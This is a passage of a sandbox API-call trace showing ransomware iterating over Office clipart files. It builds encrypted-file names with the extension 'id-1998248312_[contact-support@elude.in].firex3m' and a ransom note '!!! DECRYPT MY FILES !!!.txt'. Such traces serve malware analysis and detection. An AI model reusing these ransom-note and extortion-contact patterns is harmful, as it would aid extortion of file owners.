| out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.778] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.778] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.779] GetProcessHeap () returned 0x630000 [0131.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd8) returned 0x66a3e0 [0131.779] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0131.779] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 1 [0131.779] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf") returned 0x44 [0131.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.779] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.779] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.779] GetProcessHeap () returned 0x630000 [0131.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xdc) returned 0x66a3e0 [0131.779] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0131.780] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 1 [0131.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf") returned 0x44 [0131.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.780] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.780] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.780] GetProcessHeap () returned 0x630000 [0131.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe0) returned 0x66a3e0 [0131.780] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0131.780] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 1 [0131.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf") returned 0x44 [0131.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.781] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.781] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.781] GetProcessHeap () returned 0x630000 [0131.781] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe4) returned 0x66a3e0 [0131.781] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0131.781] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 1 [0131.781] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf") returned 0x44 [0131.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.781] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.781] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.781] GetProcessHeap () returned 0x630000 [0131.781] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe8) returned 0x66a3e0 [0131.782] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0131.782] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 1 [0131.782] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf") returned 0x44 [0131.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.782] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.782] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.782] GetProcessHeap () returned 0x630000 [0131.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xec) returned 0x66a3e0 [0131.782] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0131.782] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 1 [0131.782] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf") returned 0x44 [0131.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.783] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.783] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.783] GetProcessHeap () returned 0x630000 [0131.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf0) returned 0x66a3e0 [0131.783] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0131.783] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 1 [0131.783] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf") returned 0x44 [0131.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.783] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.783] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.784] GetProcessHeap () returned 0x630000 [0131.784] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf4) returned 0x66a3e0 [0131.784] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0131.784] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 1 [0131.784] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf") returned 0x44 [0131.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.784] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.784] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.784] GetProcessHeap () returned 0x630000 [0131.784] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf8) returned 0x66a3e0 [0131.784] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0131.784] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 1 [0131.784] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf") returned 0x44 [0131.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.785] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.785] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.785] GetProcessHeap () returned 0x630000 [0131.785] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xfc) returned 0x66a3e0 [0131.785] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0131.785] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 1 [0131.785] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf") returned 0x44 [0131.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.785] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.785] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.786] GetProcessHeap () returned 0x630000 [0131.786] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x100) returned 0x66a3e0 [0131.786] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0131.786] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 1 [0131.786] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf") returned 0x44 [0131.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.786] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.786] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.681] GetProcessHeap () returned 0x630000 [0133.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc8) returned 0x66a3e0 [0133.681] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0133.681] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 1 [0133.681] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf") returned 0x44 [0133.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.681] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.681] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.681] GetProcessHeap () returned 0x630000 [0133.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xcc) returned 0x66a3e0 [0133.682] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: 